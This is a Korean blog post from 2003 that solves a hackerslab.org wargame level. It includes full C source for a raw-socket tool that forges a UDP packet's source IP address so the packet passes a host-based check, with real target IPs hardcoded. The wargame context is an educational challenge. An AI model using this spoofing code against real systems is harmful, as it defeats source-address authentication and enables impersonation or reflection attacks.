Contents

System/OS
2003.04.23 10:34

[linux] 패킷의 소스 주소 바꾸기

조회 수 18849 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
[ Packet의 Source IP address 바꾸기 ]

UDP Packet ( Source IP manuplating )

일반적인 기법으로 UDP Packet을 날리면, 그 packet이 어디에서 출발하였는 지는
그 packet를 날린 머신의  IP 어드레스가 되지요....

다음은 www.hackerslab.org에서 하는 Hacking Test Level 10의 문제입니다.

--------------------------------------------------------------------------
  현재 해킹 자유지대 서버에는 특정 데몬이 떠 있다. 이 데몬은 UDP 5555번 포트를 
  이용하는데 www.hackerslab.org 호스트로부터 레벨의 10의 패스워드와 이메일 주소가
  담긴 패킷이 오면 그 email 주소로 level 11의 패스워드를 알려준다.
  그 해당 포맷은 다음과 같다.

  'Level10의 패스워드/email 주소'
  Ex) level10 의 패스워드가 abcd 고 email 주소가 abc@aaa.ccc.ddd..rr 이라면
  'abcd/abc@aaa.ccc.ddd.rr' 

  반드시 www.hackerslab.org 로부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.
--------------------------------------------------------------------------

근데 이 문제를 풀려면 정말 www.hackerslab.org를 먼저 해킹하여 로그인 한 뒤 UDP packet을
날려야 할까요?

Packet의 Source IP address를 바꿀 수 있는 Source가 아래와 같습니다.

NOTE: 단, root의 권한으로 실행하셔야 합니다.


[javaservice@ns javaservice]$ cat sendudp.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

/* www.hackerslab.org */
#define SRC_IP "203.239.110.1"
/*#define SRC_IP "165.244.228.27"*/
#define SRC_PORT 8888

/* drill.hackerslab.org */
#define DEST_IP "203.239.110.20"
#define DEST_PORT 5555
/*#define DEST_IP "javaservice.net"*/
/*#define DEST_PORT 6090*/

#define IPVERSION       4
struct raw_pkt_hdr {
struct iphdr ip; /* This is Linux-style iphdr.
                    Use BSD-style struct ip if you want */
struct udphdr udp;
};

struct raw_pkt_hdr* pkt;
unsigned short checksum(unsigned short* addr, char len);

int main(int argc, char *argv[])
{
int sockfd, len;

struct sockaddr_in their_addr; /* connector's address information */
struct hostent *he;
int numbytes;
char *msg= "Beauty and Beast/javaservice@hanmail.net";

len = sizeof(struct raw_pkt_hdr)+strlen(msg)+4;
pkt = calloc((size_t)1,(size_t)len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_UDP;
pkt->ip.check = 0;

pkt->ip.saddr = inet_addr(SRC_IP);

pkt->ip.daddr = inet_addr(DEST_IP);

pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->udp.source = htons(SRC_PORT);
pkt->udp.dest = htons(DEST_PORT);

pkt->udp.len = htons(len - sizeof(struct iphdr));
pkt->udp.check = 0;

sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"%s", msg);
if ((sockfd = socket(AF_INET, SOCK_RAW, 255)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;    /* host byte order */
their_addr.sin_port = htons(5656);  /* short, network byte order */
their_addr.sin_addr.s_addr = inet_addr(DEST_IP);

bzero(&(their_addr.sin_zero), 8);   /* zero the rest of the struct */

if ((numbytes=sendto(sockfd, pkt, len, 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) {
perror("sendto");
exit(1);
}
printf("sent %d bytes to %sn",numbytes, inet_ntoa(their_addr.sin_addr));
close(sockfd);
return 0;
}

unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;

while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

[javaservice@ns javaservice]$


-------------------------------------------------------  
본 문서는 자유롭게 배포/복사 할 수 있으나 반드시
이 문서의 저자에 대한 언급을 삭제하시면 안됩니다
================================================
이원영(javaservice@hanmail.net)
236-1, Hyosung-2dong, Kyeyang-gu, Inchun,
407-042, KOREA
Phone:(82-32)540-5243, Fax:(82-32)540-5402
PCS:019-310-7324 


?

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
1077 Develop [c] RSA 암호화 구현(gmp 라이브러리 활용) file hooni 2016.10.03 1006
1076 Develop XE Core 1.8.18 본문 작성시 태그(html) 사라지는 버그 file hooni 2016.04.21 1014
1075 PPT 삼성페이(Samsung Pay) 구조 file hooni 2016.09.09 1014
1074 Develop [js] AngularJS 란? file hooni 2015.11.26 1015
1073 System/OS [mac] How to uninstall MySQL on Mac OS. hooni 2017.11.08 1028
1072 System/OS [virtualbox] VirtualBox에 Ubuntu 설치하기 file hooni 2019.11.22 1055
1071 Develop [ios] 로컬에 있는 JS 파일 웹뷰에서 동적으로 실행하기 hooni 2015.02.10 1066
1070 Develop [ios] 오브젝티브C→스위프트, 코드 변환 손쉽게 file hooni 2015.08.07 1068
1069 Develop [android] 딜레이를 구현하기 위한 꼼수 hooni 2016.11.24 1071
1068 Develop [ios] Xcode에서 특정 파일만 ARC 따로 설정하는 방법 file hooni 2017.03.29 1072
1067 Develop [ios] APNS, Remote Push 수신 시점에서 앱의 3가지 실행 상태 hooni 2018.10.19 1078
1066 Develop [js] 스크롤 이벤트 막기 hooni 2015.04.14 1081
Board Pagination Prev 1 ... 4 5 6 7 8 9 10 11 12 13 ... 98 Next
/ 98